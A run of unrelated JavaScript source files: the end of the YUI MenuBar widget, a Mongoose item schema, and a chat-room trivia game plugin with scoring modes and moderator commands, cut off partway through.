oItem.cfg.setProperty(_SELECTED, true); // Show the submenu for the item oSubmenu = oItem.cfg.getProperty(_SUBMENU); if(oSubmenu) { oItemEl = oItem.element; nMenuItemX = YAHOO.util.Dom.getX(oItemEl); nToggleRegion = nMenuItemX + (oItemEl.offsetWidth - this.SUBMENU_TOGGLE_REGION_WIDTH); if (oConfig.getProperty(_SUBMENU_TOGGLE_REGION)) { if (Event.getPageX(oEvent) > nToggleRegion) { toggleSubmenuDisplay(); Event.preventDefault(oEvent); /* Return false so that other click event handlers are not called when the user clicks inside the toggle region. */ bReturnVal = false; } } else { toggleSubmenuDisplay(); } } } return bReturnVal; }, // Public methods /** * @method configSubmenuToggle * @description Event handler for when the "submenutoggleregion" configuration property of * a MenuBar changes. * @param {String} p_sType The name of the event that was fired. * @param {Array} p_aArgs Collection of arguments sent when the event was fired. */ configSubmenuToggle: function (p_sType, p_aArgs) { var bSubmenuToggle = p_aArgs[0]; if (bSubmenuToggle) { this.cfg.setProperty(_AUTO_SUBMENU_DISPLAY, false); } }, /** * @method toString * @description Returns a string representing the menu bar. * @return {String} */ toString: function() { var sReturnVal = _MENUBAR, sId = this.id; if(sId) { sReturnVal += (_SPACE + sId); } return sReturnVal; }, /** * @description Initializes the class's configurable properties which can be * changed using the menu bar's Config object ("cfg"). * @method initDefaultConfig */ initDefaultConfig: function() { MenuBar.superclass.initDefaultConfig.call(this); var oConfig = this.cfg; // Add configuration properties /* Set the default value for the "position" configuration property to "static" by re-adding the property. */ /** * @config position * @description String indicating how a menu bar should be positioned on the * screen. Possible values are "static" and "dynamic." Static menu bars * are visible by default and reside in the normal flow of the document * (CSS position: static). Dynamic menu bars are hidden by default, reside * out of the normal flow of the document (CSS position: absolute), and can * overlay other elements on the screen. * @default static * @type String */ oConfig.addProperty( POSITION_CONFIG.key, { handler: this.configPosition, value: POSITION_CONFIG.value, validator: POSITION_CONFIG.validator, supercedes: POSITION_CONFIG.supercedes } ); /* Set the default value for the "submenualignment" configuration property to ["tl","bl"] by re-adding the property. */ /** * @config submenualignment * @description Array defining how submenus should be aligned to their * parent menu bar item. The format is: [itemCorner, submenuCorner]. * @default ["tl","bl"] * @type Array */ oConfig.addProperty( SUBMENU_ALIGNMENT_CONFIG.key, { value: SUBMENU_ALIGNMENT_CONFIG.value, suppressEvent: SUBMENU_ALIGNMENT_CONFIG.suppressEvent } ); /* Change the default value for the "autosubmenudisplay" configuration property to "false" by re-adding the property. */ /** * @config autosubmenudisplay * @description Boolean indicating if submenus are automatically made * visible when the user mouses over the menu bar's items. * @default false * @type Boolean */ oConfig.addProperty( AUTO_SUBMENU_DISPLAY_CONFIG.key, { value: AUTO_SUBMENU_DISPLAY_CONFIG.value, validator: AUTO_SUBMENU_DISPLAY_CONFIG.validator, suppressEvent: AUTO_SUBMENU_DISPLAY_CONFIG.suppressEvent } ); /** * @config submenutoggleregion * @description Boolean indicating if only a specific region of a MenuBarItem should toggle the * display of a submenu. The default width of the region is determined by the value of the * SUBMENU_TOGGLE_REGION_WIDTH property. If set to true, the autosubmenudisplay * configuration property will be set to false, and any click event listeners will not be * called when the user clicks inside the submenu toggle region of a MenuBarItem. If the * user clicks outside of the submenu toggle region, the MenuBarItem will maintain its * standard behavior. * @default false * @type Boolean */ oConfig.addProperty( SUBMENU_TOGGLE_REGION_CONFIG.key, { value: SUBMENU_TOGGLE_REGION_CONFIG.value, validator: SUBMENU_TOGGLE_REGION_CONFIG.validator, handler: this.configSubmenuToggle } ); } }); // END YAHOO.lang.extend }()); /** * Creates an item for a menu bar. * * @param {HTML} p_oObject Markup for the menu item content. The markup is inserted into the DOM as HTML, and should be escaped by the implementor if coming from an external source. * @param {<a href="http://www.w3.org/TR/2000/WD-DOM-Level-1-20000929/level- * one-html.html#ID-74680021">HTMLLIElement</a>} p_oObject Object specifying the * <code>&#60;li&#62;</code> element of the menu bar item. * @param {<a href="http://www.w3.org/TR/2000/WD-DOM-Level-1-20000929/level- * one-html.html#ID-38450247">HTMLOptGroupElement</a>} p_oObject Object * specifying the <code>&#60;optgroup&#62;</code> element of the menu bar item. * @param {<a href="http://www.w3.org/TR/2000/WD-DOM-Level-1-20000929/level- * one-html.html#ID-70901257">HTMLOptionElement</a>} p_oObject Object specifying * the <code>&#60;option&#62;</code> element of the menu bar item. * @param {Object} p_oConfig Optional. Object literal specifying the * configuration for the menu bar item. See configuration class documentation * for more details. * @class MenuBarItem * @constructor * @extends YAHOO.widget.MenuItem */ YAHOO.widget.MenuBarItem = function(p_oObject, p_oConfig) { YAHOO.widget.MenuBarItem.superclass.constructor.call(this, p_oObject, p_oConfig); }; YAHOO.lang.extend(YAHOO.widget.MenuBarItem, YAHOO.widget.MenuItem, { /** * @method init * @description The MenuBarItem class's initialization method. This method is * automatically called by the constructor, and sets up all DOM references for * pre-existing markup, and creates required markup if it is not already present. * @param {HTML} p_oObject Markup for the menu item content. The markup is inserted into the DOM as HTML, and should be escaped by the implementor if coming from an external source. * @param {<a href="http://www.w3.org/TR/2000/WD-DOM-Level-1-20000929/level- * one-html.html#ID-74680021">HTMLLIElement</a>} p_oObject Object specifying the * <code>&#60;li&#62;</code> element of the menu bar item. * @param {<a href="http://www.w3.org/TR/2000/WD-DOM-Level-1-20000929/level- * one-html.html#ID-38450247">HTMLOptGroupElement</a>} p_oObject Object * specifying the <code>&#60;optgroup&#62;</code> element of the menu bar item. * @param {<a href="http://www.w3.org/TR/2000/WD-DOM-Level-1-20000929/level- * one-html.html#ID-70901257">HTMLOptionElement</a>} p_oObject Object specifying * the <code>&#60;option&#62;</code> element of the menu bar item. * @param {Object} p_oConfig Optional. Object literal specifying the * configuration for the menu bar item. See configuration class documentation * for more details. */ init: function(p_oObject, p_oConfig) { if(!this.SUBMENU_TYPE) { this.SUBMENU_TYPE = YAHOO.widget.Menu; } /* Call the init of the superclass (YAHOO.widget.MenuItem) Note: We don't pass the user config in here yet because we only want it executed once, at the lowest subclass level. */ YAHOO.widget.MenuBarItem.superclass.init.call(this, p_oObject); var oConfig = this.cfg; if(p_oConfig) { oConfig.applyConfig(p_oConfig, true); } oConfig.fireQueue(); }, // Constants /** * @property CSS_CLASS_NAME * @description String representing the CSS class(es) to be applied to the * <code>&#60;li&#62;</code> element of the menu bar item. * @default "yuimenubaritem" * @final * @type String */ CSS_CLASS_NAME: "yuimenubaritem", /** * @property CSS_LABEL_CLASS_NAME * @description String representing the CSS class(es) to be applied to the * menu bar item's <code>&#60;a&#62;</code> element. * @default "yuimenubaritemlabel" * @final * @type String */ CSS_LABEL_CLASS_NAME: "yuimenubaritemlabel", // Public methods /** * @method toString * @description Returns a string representing the menu bar item. * @return {String} */ toString: function() { var sReturnVal = "MenuBarItem"; if(this.cfg && this.cfg.getProperty("text")) { sReturnVal += (": " + this.cfg.getProperty("text")); } return sReturnVal; } }); // END YAHOO.lang.extend YAHOO.register("menu", YAHOO.widget.Menu, {version: "2.9.0pr1", build: "2725"});
/*! D3 D3 - v0.1.0 - 2014-09-06 * https://github.com/dianwu/d3-d3 * Copyright (c) 2014 dianwu; Licensed MIT */
//# sourceMappingURL=js-sha256.js.map
var mongoose = require('mongoose'); var ItemSchema = new mongoose.Schema({ name: { type: String, required: true } }); var Item = mongoose.model('Item', ItemSchema); module.exports = Item;
/* * Trivia plugin * Written by Morfent */ 'use strict'; const fs = require('fs'); const CATEGORIES = { ae: 'Arts and Entertainment', pokemon: 'Pok\u00E9mon', sg: 'Science and Geography', sh: 'Society and Humanities', }; const MODES = { first: 'First', number: 'Number', timer: 'Timer', }; // NOTE: trivia code depends on this object's values being divisible by 5. const SCORE_CAPS = { short: 20, medium: 35, long: 50, }; Object.setPrototypeOf(CATEGORIES, null); Object.setPrototypeOf(MODES, null); Object.setPrototypeOf(SCORE_CAPS, null); const SIGNUP_PHASE = 'signups'; const QUESTION_PHASE = 'question'; const INTERMISSION_PHASE = 'intermission'; const LIMBO_PHASE = 'limbo'; const MINIMUM_PLAYERS = 3; const START_TIMEOUT = 30 * 1000; const INTERMISSION_INTERVAL = 30 * 1000; const MAX_QUESTION_LENGTH = 252; const MAX_ANSWER_LENGTH = 32; // TODO: move trivia database code to a separate file once relevant. let triviaData = {}; try { triviaData = require('../config/chat-plugins/triviadata.json'); } catch (e) {} // file doesn't exist or contains invalid JSON if (!triviaData || typeof triviaData !== 'object') triviaData = {}; if (typeof triviaData.leaderboard !== 'object') triviaData.leaderboard = {}; if (!Array.isArray(triviaData.ladder)) triviaData.ladder = []; if (!Array.isArray(triviaData.questions)) triviaData.questions = []; if (!Array.isArray(triviaData.submissions)) triviaData.submissions = []; if (triviaData.ugm) { CATEGORIES.ugm = 'Ultimate Gaming Month'; if (typeof triviaData.ugm !== 'object') triviaData.ugm = {}; } const writeTriviaData = (() => { let writing = false; let writePending = false; return () => { if (writing) { writePending = true; return; } writing = true; let data = JSON.stringify(triviaData, null, 2); let path = 'config/chat-plugins/triviadata.json'; let tempPath = `${path}.0`; fs.writeFile(tempPath, data, () => { fs.rename(tempPath, path, () => { writing = false; if (writePending) { writePending = false; setImmediate(() => writeTriviaData()); } data = null; path = null; tempPath = null; }); }); }; })(); // Binary search for the index at which to splice in new questions in a category, // or the index at which to slice up to for a category's questions // TODO: why isn't this a map? Storing questions/submissions sorted by // category is pretty stupid when maps exist for that purpose. function findEndOfCategory(category, inSubmissions) { let questions = inSubmissions ? triviaData.submissions : triviaData.questions; let left = 0; let right = questions.length; let i = 0; let curCategory; while (left < right) { i = (left + right) / 2 | 0; curCategory = questions[i].category; if (curCategory < category) { left = i + 1; } else if (curCategory > category) { right = i; } else { while (++i < questions.length) { if (questions[i].category !== category) break; } return i; } } return left; } function sliceCategory(category) { let questions = triviaData.questions; if (!questions.length) return []; let sliceUpTo = findEndOfCategory(category, false); if (!sliceUpTo) return []; let categories = Object.keys(CATEGORIES); let categoryIdx = categories.indexOf(category); if (!categoryIdx) return questions.slice(0, sliceUpTo); // findEndOfCategory for the category prior to the specified one in // alphabetical order returns the index of the first question in it let sliceFrom = findEndOfCategory(categories[categoryIdx - 1], false); if (sliceFrom === sliceUpTo) return []; return questions.slice(sliceFrom, sliceUpTo); } class TriviaPlayer extends Rooms.RoomGamePlayer { constructor(user, game) { super(user, game); this.points = 0; this.correctAnswers = 0; this.answer = ''; this.answeredAt = []; this.isCorrect = false; this.isAbsent = false; } setAnswer(answer, isCorrect) { this.answer = answer; this.answeredAt = process.hrtime(); this.isCorrect = !!isCorrect; } incrementPoints(points = 0) { this.points += points; this.correctAnswers++; } clearAnswer() { this.answer = ''; this.isCorrect = false; } toggleAbsence() { this.isAbsent = !this.isAbsent; } } class Trivia extends Rooms.RoomGame { constructor(room, mode, category, length, questions) { super(room); this.gameid = 'trivia'; this.title = 'Trivia'; this.allowRenames = true; this.playerCap = Number.MAX_SAFE_INTEGER; this.kickedUsers = new Set(); this.mode = MODES[mode]; this.cap = SCORE_CAPS[length]; if (category === 'all') { this.category = 'All'; if (triviaData.ugm) { questions = questions.filter(q => q.category !== 'ugm'); } } else if (category === 'random') { this.category = 'Random (' + CATEGORIES[questions[0].category] + ')'; } else { this.category = CATEGORIES[category]; } this.phase = SIGNUP_PHASE; this.phaseTimeout = null; this.questions = questions; this.curQuestion = ''; this.curAnswers = []; this.askedAt = []; this.init(); } // How long the players should have to answer a question. get roundLength() { return 12 * 1000 + 500; } // Overwrite some RoomGame prototype methods... addPlayer(user) { if (this.players[user.userid]) return 'You have already signed up for this game.'; if (this.kickedUsers.has(user.userid)) { return 'You were kicked from the game and thus cannot join it again.'; } for (let id in user.prevNames) { if (this.players[id]) return 'You have already signed up for this game.'; if (this.kickedUsers.has(id)) return 'You were kicked from the game and cannot join until the next game.'; } for (let id in this.players) { let tarUser = Users.get(id); if (tarUser) { if (tarUser.prevNames[user.userid]) return 'You have already signed up for this game.'; let tarPrevNames = Object.keys(tarUser.prevNames); let prevNameMatch = tarPrevNames.some(tarId => (tarId in user.prevNames)); if (prevNameMatch) return 'You have already signed up for this game.'; let tarIps = Object.keys(tarUser.ips); let ipMatch = tarIps.some(ip => (ip in user.ips)); if (ipMatch) return 'You have already signed up for this game.'; } } let player = this.makePlayer(user); this.players[user.userid] = player; this.playerCount++; return 'You are now signed up for this game!'; } makePlayer(user) { return new TriviaPlayer(user, this); } destroy() { this.kickedUsers.clear(); super.destroy(); } onJoin(user) { let player = this.players[user.userid]; if (!player) return false; if (this.phase !== LIMBO_PHASE) return false; player.toggleAbsence(); if (++this.playerCount < MINIMUM_PLAYERS) return false; for (let i in this.players) { this.players[i].clearAnswer(); } this.broadcast( 'Enough players have returned to continue the game!', 'The game will continue with the next question.' ); this.askQuestion(); } onLeave(user) { // The user cannot participate, but their score should be kept // regardless in cases of disconnects. let player = this.players[user.userid]; if (!player) return false; player.toggleAbsence(); if (this.phase === SIGNUP_PHASE) return false; if (--this.playerCount < MINIMUM_PLAYERS) { clearTimeout(this.phaseTimeout); this.phaseTimeout = null; this.phase = LIMBO_PHASE; this.broadcast( 'Not enough players are participating to continue the game!', `Until there are ${MINIMUM_PLAYERS} players participating and present, the game will be paused.` ); } } // Handles setup that shouldn't be done from the constructor. init() { this.broadcast( 'Signups for a new trivia game have begun!', 'Mode: ' + this.mode + ' | Category: ' + this.category + ' | Score cap: ' + this.cap + '<br />' + 'Enter /trivia join to sign up for the trivia game.' ); } // Generates and broadcasts the HTML for a generic announcement containing // a title and an optional message. broadcast(title, message) { let buffer = '<div class="broadcast-blue">' + '<strong>' + title + '</strong>'; if (message) buffer += '<br />' + message; buffer += '</div>'; // This shouldn't happen, but sometimes this will fire after // Trivia#destroy has already set the instance's room to null. let tarRoom = this.room; if (!tarRoom) { for (let [roomid, room] of Rooms.rooms) { // eslint-disable-line no-unused-vars if (room.game === this) { return room.addRaw(buffer).update(); } } Monitor.debug( `${this.title} is FUBAR! Game instance tried to broadcast after having destroyed itself\n Mode: ${this.mode}\n Category: ${this.category}\n Length: ${SCORE_CAPS[this.cap]}\n UGM: ${triviaData.ugm ? 'enabled' : 'disabled'}` ); return tarRoom; } return tarRoom.addRaw(buffer).update(); } // Formats the player list for display when using /trivia players. formatPlayerList() { return Object.keys(this.players) .map(userid => { let player = this.players[userid]; let username = player.name; if (player.isAbsent) return '<span style="color: #444444">' + username + '</span>'; return username; }) .join(', '); } // Kicks a player from the game, preventing them from joining it again // until the next game begins. kick(tarUser, user) { if (!this.players[tarUser.userid]) { if (this.kickedUsers.has(tarUser.userid)) return 'User ' + tarUser.name + ' has already been kicked from the game.'; for (let id in tarUser.prevNames) { if (this.kickedUsers.has(id)) return 'User ' + tarUser.name + ' has already been kicked from the game.'; } for (let kickedUserid of this.kickedUsers) { let kickedUser = Users.get(kickedUserid); if (kickedUser) { if (kickedUser.prevNames[tarUser.userid]) { return 'User ' + tarUser.name + ' has already been kicked from the game.'; } let prevNames = Object.keys(kickedUser.prevNames); let nameMatch = prevNames.some(id => tarUser.prevNames[id]); if (nameMatch) return 'User ' + tarUser.name + ' has already been kicked from the game.'; let ips = Object.keys(kickedUser.ips); let ipMatch = ips.some(ip => tarUser.ips[ip]); if (ipMatch) return 'User ' + tarUser.name + ' has already been kicked from the game.'; } } return 'User ' + tarUser.name + ' is not a player in the game.'; } this.kickedUsers.add(tarUser.userid); for (let id in tarUser.prevNames) { this.kickedUsers.add(id); } super.removePlayer(tarUser); } leave(user) { if (!this.players[user.userid]) { return 'You are not a player in the current game.'; } super.removePlayer(user); } // Starts the question loop for a trivia game in its signup phase. start() { if (this.phase !== SIGNUP_PHASE) return 'The game has already been started.'; if (this.playerCount < MINIMUM_PLAYERS) { return 'Not enough players have signed up yet! At least ' + MINIMUM_PLAYERS + ' players are required to begin.'; } this.broadcast('The game will begin in ' + (START_TIMEOUT / 1000) + ' seconds...'); this.phaseTimeout = setTimeout(() => this.askQuestion(), START_TIMEOUT); } // Broadcasts the next question on the questions list to the room and sets // a timeout to tally the answers received. askQuestion() { if (!this.questions.length) { clearTimeout(this.phaseTimeout); this.phaseTimeout = null; this.broadcast( 'No questions are left!', 'The game has ended in a stalemate.' ); return this.destroy(); } this.phase = QUESTION_PHASE; this.askedAt = process.hrtime(); let question = this.questions.pop(); this.curQuestion = question.question; this.curAnswers = question.answers; this.sendQuestion(question); this.phaseTimeout = setTimeout(() => this.tallyAnswers(), this.roundLength); } // Broadcasts to the room what the next question is. sendQuestion(question) { this.broadcast( 'Question: ' + question.question, 'Category: ' + CATEGORIES[question.category] ); } // This is a noop here since it'd defined properly by subclasses later on. // All this is obligated to do is take a user and their answer as args; // the behaviour of this method can be entirely arbitrary otherwise. answerQuestion() {} // Verifies whether or not an answer is correct. In longer answers, small // typos can be made and still have the answer be considered correct. verifyAnswer(tarAnswer) { return this.curAnswers.some(answer => ( (answer === tarAnswer) || (answer.length > 5 && Dex.levenshtein(tarAnswer, answer) < 3) )); } // This is a noop here since it'd defined properly by mode subclasses later // on. This calculates the points a correct responder earns, which is // typically between 1-5. calculatePoints() {} // This is a noop here since it's defined properly by mode subclasses later // on. This is obligated to update the game phase, but it can be entirely // arbitrary otherwise. tallyAnswers() {} // Ends the game after a player's score has exceeded the score cap. // FIXME: this class and trivia database logic don't belong in bed with // each other! Abstract all that away from this method as soon as possible. win(winner, buffer) { clearTimeout(this.phaseTimeout); this.phaseTimeout = null; let prize = (this.cap - 5) / 15 + 2; buffer += Chat.escapeHTML(winner.name) + ' won the game with a final score of <strong>' + winner.points + '</strong>, ' + 'and their leaderboard score has increased by <strong>' + prize + '</strong> points!'; this.broadcast('The answering period has ended!', buffer); let leaderboard = triviaData.leaderboard; for (let i in this.players) { let player = this.players[i]; if (!player.points) continue; if (leaderboard[i]) { let rank = leaderboard[i]; rank[1] += player.points; rank[2] += player.correctAnswers; } else { leaderboard[i] = [0, player.points, player.correctAnswers]; } if (triviaData.ugm && this.category === 'Ultimate Gaming Month') { let ugmPoints = player.points / 5 | 0; if (winner && winner.userid === i) ugmPoints *= 2; triviaData.ugm[i] += ugmPoints; } } if (winner) leaderboard[winner.userid][0] += prize; let leaders = Object.keys(leaderboard); let ladder = triviaData.ladder = []; for (let i = 0; i < 3; i++) { leaders.sort((a, b) => leaderboard[b][i] - leaderboard[a][i]); let max = Infinity; let rank = 0; let rankIdx = i + 3; for (let j = 0; j < leaders.length; j++) { let leader = leaders[j]; let score = leaderboard[leader][i]; if (max !== score) { if (!i && rank < 15) { if (ladder[rank]) { ladder[rank].push(leader); } else { ladder[rank] = [leader]; } } rank++; max = score; } leaderboard[leader][rankIdx] = rank; } } for (let i in this.players) { let player = this.players[i]; let user = Users.get(player.userid); if (!user || user.userid === winner.userid) continue; user.sendTo( this.room.id, "You gained " + player.points + " and answered " + player.correctAnswers + " questions correctly." ); } let buf = "(User " + winner.name + " won the game of " + this.mode + " mode trivia under the " + this.category + " category with a cap of " + this.cap + " points, with " + winner.points + " points and " + winner.correctAnswers + " correct answers!)"; this.room.sendModCommand(buf); this.room.logEntry(buf); this.room.modlog(buf); writeTriviaData(); this.destroy(); } // Forcibly ends a trivia game. end(user) { clearTimeout(this.phaseTimeout); this.phaseTimeout = null; this.broadcast('The game was forcibly ended by ' + Chat.escapeHTML(user.name) + '.'); this.destroy(); } } // Helper function for timer and number modes. Milliseconds are not precise // enough to score players properly in rare cases. const hrtimeToNanoseconds = hrtime => hrtime[0] * 1e9 + hrtime[1]; // First mode rewards points to the first user to answer the question // correctly. class FirstModeTrivia extends Trivia { answerQuestion(answer, user) { let player = this.players[user.userid]; if (!player) return 'You are not a player in the current trivia game.'; if (this.phase !== QUESTION_PHASE) return 'There is no question to answer.'; if (player.answer) return 'You have already attempted to answer the current question.'; player.setAnswer(answer); if (!this.verifyAnswer(answer)) return 'You have selected "' + answer + '" as your answer.'; // The timeout for Trivia.prototype.tallyAnswers is still // going, remember? clearTimeout(this.phaseTimeout); this.phase = INTERMISSION_PHASE; let buffer = 'Correct: ' + Chat.escapeHTML(user.name) + '<br />' + 'Answer(s): ' + this.curAnswers.join(', ') + '<br />'; let points = this.calculatePoints(); player.incrementPoints(points); if (player.points >= this.cap) return this.win(player, buffer); for (let i in this.players) { let player = this.players[i]; player.clearAnswer(); } buffer += 'They gained <strong>5</strong> points!'; this.broadcast('The answering period has ended!', buffer); this.phaseTimeout = setTimeout(() => this.askQuestion(), INTERMISSION_INTERVAL); } calculatePoints() { return 5; } tallyAnswers() { this.phase = INTERMISSION_PHASE; for (let i in this.players) { let player = this.players[i]; player.clearAnswer(); } this.broadcast( 'The answering period has ended!', 'Correct: no one...<br />' + 'Answers: ' + this.curAnswers.join(', ') + '<br />' + 'Nobody gained any points.' ); this.phaseTimeout = setTimeout(() => this.askQuestion(), INTERMISSION_INTERVAL); } } // Timer mode rewards up to 5 points to all players who answer correctly // depending on how quickly they answer the question. class TimerModeTrivia extends Trivia { answerQuestion(answer, user) { let player = this.players[user.userid]; if (!player) return 'You are not a player in the current trivia game.'; if (this.phase !== QUESTION_PHASE) return 'There is no question to answer.'; let isCorrect = this.verifyAnswer(answer); player.setAnswer(answer, isCorrect); return 'You have selected "' + answer + '" as your answer.'; } // diff: the difference between the time the player answered the // question and when the question was asked, in nanoseconds // totalDiff: the difference between the time scoring began and the // time the question was asked, in nanoseconds calculatePoints(diff, totalDiff) { return 6 - 5 * diff / totalDiff | 0; } tallyAnswers() { this.phase = INTERMISSION_PHASE; let buffer = ( 'Answer(s): ' + this.curAnswers.join(', ') + '<br />' + '<table style="width: 100%; background-color: #9CBEDF; margin: 2px 0">' + '<tr style="background-color: #6688AA">' + '<th style="width: 100px">Points gained</th>' + '<th>Correct</th>' + '</tr>' ); let innerBuffer = new Map([5, 4, 3, 2, 1].map(n => [n, []])); let winner; let now = hrtimeToNanoseconds(process.hrtime()); let askedAt = hrtimeToNanoseconds(this.askedAt); let totalDiff = now - askedAt; for (let i in this.players) { let player = this.players[i]; if (!player.isCorrect) { player.clearAnswer(); continue; } let playerAnsweredAt = hrtimeToNanoseconds(player.answeredAt); let diff = playerAnsweredAt - askedAt; let points = this.calculatePoints(diff, totalDiff); player.incrementPoints(points); let pointBuffer = innerBuffer.get(points); pointBuffer.push([Chat.escapeHTML(player.name), playerAnsweredAt]); if (winner) { if (player.points > winner.points) { winner = player; } else if (winner.points === player.points) { let winnerAnsweredAt = hrtimeToNanoseconds(winner.answeredAt); if (playerAnsweredAt < winnerAnsweredAt) { winner = player; } } } else if (player.points >= this.cap) { winner = player; } player.clearAnswer(); } let rowAdded = false; innerBuffer.forEach((players, pointValue) => { if (!players.length) return false; rowAdded = true; players = players .sort((a, b) => a[1] - b[1]) .map(a => a[0]); buffer += ( '<tr style="background-color: #6688AA">' + '<td style="text-align: center">' + pointValue + '</td>' + '<td>' + players.join(', ') + '</td>' + '</tr>' ); }); if (!rowAdded) { buffer += ( '<tr style="background-color: #6688AA">' + '<td style="text-align: center">&#8212;</td>' + '<td>No one answered correctly...</td>' + '</tr>' ); } if (winner) { buffer += '</table><br />'; return this.win(winner, buffer); } buffer += '</table>'; this.broadcast('The answering period has ended!', buffer); this.phaseTimeout = setTimeout(() => this.askQuestion(), INTERMISSION_INTERVAL); } } // Number mode rewards up to 5 points to all players who answer correctly // depending on the ratio of correct players to total players (lower ratio is // better). class NumberModeTrivia extends Trivia { answerQuestion(answer, user) { let player = this.players[user.userid]; if (!player) return 'You are not a player in the current trivia game.'; if (this.phase !== QUESTION_PHASE) return 'There is no question to answer.'; let isCorrect = this.verifyAnswer(answer); player.setAnswer(answer, isCorrect); return 'You have selected "' + answer + '" as your answer.'; } calculatePoints(correctPlayers) { return correctPlayers && (6 - (5 * correctPlayers / this.playerCount | 0)); } tallyAnswers() { this.phase = INTERMISSION_PHASE; let buffer; let innerBuffer = Object.keys(this.players) .filter(id => this.players[id].isCorrect) .map(id => { let player = this.players[id]; return [Chat.escapeHTML(player.name), hrtimeToNanoseconds(player.answeredAt)]; }) .sort((a, b) => a[1] - b[1]); let points = this.calculatePoints(innerBuffer.length); if (points) { let winner; for (let i in this.players) { let player = this.players[i]; if (player.isCorrect) player.incrementPoints(points); if (winner) { if (player.points > winner.points) { winner = player; } else if (player.points === winner.points) { let playerAnsweredAt = hrtimeToNanoseconds(player.answeredAt); let winnerAnsweredAt = hrtimeToNanoseconds(winner.answeredAt); if (playerAnsweredAt < winnerAnsweredAt) { winner = player; } } } else if (player.points >= this.cap) { winner = player; } player.clearAnswer(); } buffer = 'Correct: ' + innerBuffer.map(arr => arr[0]).join(', ') + '<br />' + 'Answer(s): ' + this.curAnswers.join(', ') + '<br />'; if (winner) return this.win(winner, buffer); buffer += (innerBuffer.length > 1 ? 'Each of them' : 'They') + ' gained <strong>' + points + '</strong> point(s)!'; } else { for (let i in this.players) { let player = this.players[i]; player.clearAnswer(); } buffer = 'Correct: no one...<br />' + 'Answer(s): ' + this.curAnswers.join(', ') + '<br />' + 'Nobody gained any points.'; } this.broadcast('The answering period has ended!', buffer); this.phaseTimeout = setTimeout(() => this.askQuestion(), INTERMISSION_INTERVAL); } } const commands = { new: function (target, room, user) { if (room.id !== 'trivia') return this.errorReply("This command can only be used in the Trivia room."); if (!this.can('broadcast', null, room) || !target) return false; if (!this.canTalk()) return; if (room.game) { return this.errorReply("There is already a game of " + room.game.title + " in progress."); } let tars = target.split(','); if (tars.length !== 3) return this.errorReply("Invalid arguments specified."); let mode = toId(tars[0]); if (!MODES[mode]) return this.errorReply("\"" + mode + "\" is an invalid mode."); let category = toId(tars[1]); let isRandom = (category === 'random'); let isAll = !isRandom && (category === 'all'); if (!isRandom && !isAll && !CATEGORIES[category]) { return this.errorReply("\"" + category + "\" is an invalid category."); } let length = toId(tars[2]); if (!SCORE_CAPS[length]) return this.errorReply("\"" + length + "\" is an invalid game length."); let questions; if (isRandom) { let categories = Object.keys(CATEGORIES); let randCategory = categories[Math.random() * categories.length | 0]; if (triviaData.ugm && randCategory === 'ugm') { categories.splice(categories.indexOf('ugm'), 1); randCategory = categories[Math.random() * categories.length | 0]; } questions = sliceCategory(randCategory); } else if (isAll) { questions = triviaData.questions; } else { questions = sliceCategory(category); } if (questions.length < SCORE_CAPS[length] / 5) { if (isRandom) return this.errorReply("There are not enough questions in the randomly chosen category to finish a trivia game."); if (isAll) return this.errorReply("There are not enough questions in the trivia database to finish a trivia game."); return this.errorReply("There are not enough questions under the category \"" + CATEGORIES[category] + "\" to finish a trivia game."); } // This prevents trivia games from modifying the trivia database. questions = Object.assign([], questions); // Randomizes the order of the questions. questions = Dex.shuffle(questions); let _Trivia; if (mode === 'first') { _Trivia = FirstModeTrivia; } else if (mode === 'timer') { _Trivia = TimerModeTrivia; } else if (mode === 'number') { _Trivia = NumberModeTrivia; } room.game = new _Trivia(room, mode, category, length, questions); }, newhelp: ["/trivia new [mode], [category], [length] - Begin a new trivia game. Requires: + % @ # & ~"], join: function (target, room, user) { if (room.id !== 'trivia') return this.errorReply("This command can only be used in Trivia."); if (!room.game) return this.errorReply("There is no game of trivia in progress."); if (room.game.gameid !== 'trivia') { return this.errorReply("There is already a game of " + room.game.title + " in progress."); } let res = room.game.addPlayer(user); if (typeof res === 'string') this.sendReply(res); }, joinhelp: ["/trivia join - Join the current trivia game."], kick: function (target, room, user) { if (room.id !== 'trivia') return this.errorReply("This command can only be used in Trivia."); if (!this.can('mute', null, room)) return false; if (!this.canTalk()) return; if (!room.game) return this.errorReply("There is no game of trivia in progress."); if (room.game.gameid !== 'trivia') { return this.errorReply("There is already a game of " + room.game.title + " in progress."); } this.splitTarget(target); let targetUser = this.targetUser; if (!targetUser) return this.errorReply("The user \"" + target + "\" does not exist."); let res = room.game.kick(targetUser, user); if (typeof res === 'string') this.sendReply(res); }, kickhelp: ["/trivia kick [username] - Kick players from a trivia game by username. Requires: % @ # & ~"], leave: function (target, room, user) { if (room.id !== 'trivia') return this.errorReply("This command can only be used in Trivia."); if (!room.game) return this.errorReply("There is no game of trivia in progress."); if (room.game.gameid !== 'trivia') { return this.errorReply("There is already a game of " + room.game.title + " in progress."); } let res = room.game.leave(user); if (typeof res === 'string') return this.errorReply(res); this.sendReply("You have left the current game of trivia."); }, leavehelp: ["/trivia leave - Makes the player leave the game."], start: function (target, room) { if (room.id !== 'trivia') return this.errorReply("This command can only be used in Trivia."); if (!this.can('broadcast', null, room)) return false; if (!this.canTalk()) return; if (!room.game) return this.errorReply("There is no game of trivia in progress."); if (room.game.gameid !== 'trivia') { return this.errorReply("There is already a game of " + room.game.title + " in progress."); } let res = room.game.start(); if (typeof res === 'string') this.sendReply(res); }, starthelp: ["/trivia start - Ends the signup phase of a trivia game and begins the game. Requires: + % @ # & ~"], answer: function (target, room, user) { if (room.id !== 'trivia') return this.errorReply("This command can only be used in Trivia."); if (!room.game) return this.errorReply("There is no game of trivia in progress."); if (room.game.gameid !== 'trivia') { return this.errorReply("There is already a game of " + room.game.title + " in progress."); } let answer = toId(target); if (!answer) return this.errorReply("No valid answer was entered."); let res = room.game.answerQuestion(answer, user); if (typeof res === 'string') this.sendReply(res); }, answerhelp: ["/trivia answer OR /ta [answer] - Answer a pending question."], end: function (target, room, user) { if (room.id !== 'trivia') return this.errorReply("This command can only be used in Trivia."); if (!this.can('broadcast', null, room)) return false; if (!this.canTalk()) return; if (!room.game) return this.errorReply("There is no game of trivia in progress."); if (room.game.gameid !== 'trivia') { return this.errorReply("There is already a game of " + room.game.title + " in progress."); } room.game.end(user); }, endhelp: ["/trivia end - Forcibly end a trivia game. Requires: + % @ # & ~"], '': 'status', players: 'status', status: function (target, room, user) { if (room.id !== 'trivia') return this.errorReply("This command can only be used in Trivia."); if (!this.runBroadcast()) return false; if (!room.game) return this.errorReply("There is no game of trivia in progress."); if (room.game.gameid !== 'trivia') { return this.errorReply("There is already a game of " + room.game.title 